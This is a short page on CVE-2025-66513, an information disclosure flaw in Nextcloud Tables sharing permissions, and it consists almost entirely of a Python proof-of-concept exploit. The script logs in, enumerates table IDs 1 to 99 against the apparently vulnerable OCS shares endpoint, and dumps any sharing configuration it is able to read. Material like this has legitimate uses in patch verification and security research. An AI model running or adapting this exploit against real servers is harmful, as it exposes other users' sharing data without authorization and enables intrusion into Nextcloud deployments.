CVE-2025-66513 Nextcloud Tables 表格共享权限信息泄露漏洞

import requests import json # CVE-2025-66513 PoC - Nextcloud Tables Information Disclosure # Target: Nextcloud instance with Tables app installed # This PoC demonstrates how an authenticated user can access # table sharing information without proper authorization TARGET_URL = "https://vulnerable-nextcloud.example.com" USERNAME = "[email protected]" PASSWORD = "password123" def exploit(): """ Exploit for CVE-2025-66513: Information disclosure via unauthorized access to table sharing configuration """ session = requests.Session() # Step 1: Authenticate to Nextcloud login_url = f"{TARGET_URL}/index.php/login" login_data = { "user": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Authentication failed") return print("[+] Authenticated successfully") # Step 2: Enumerate table IDs and fetch sharing information # The vulnerable endpoint exposes table sharing configuration # without proper authorization checks for table_id in range(1, 100): vulnerable_endpoint = f"{TARGET_URL}/ocs/v2.php/apps/tables/api/v1/tables/{table_id}/shares" headers = { "OCS-APIREQUEST": "true", "Accept": "application/json" } response = session.get(vulnerable_endpoint, headers=headers) if response.status_code == 200: try: data = response.json() if data.get("ocs") and data["ocs"].get("data"): shares = data["ocs"]["data"] if shares: print(f"\n[+] Table ID {table_id} sharing info:") print(json.dumps(shares, indent=2)) except json.JSONDecodeError: pass print("\n[!] Information disclosure complete") print("[!] Collected table sharing configurations without authorization") if __name__ == "__main__": exploit()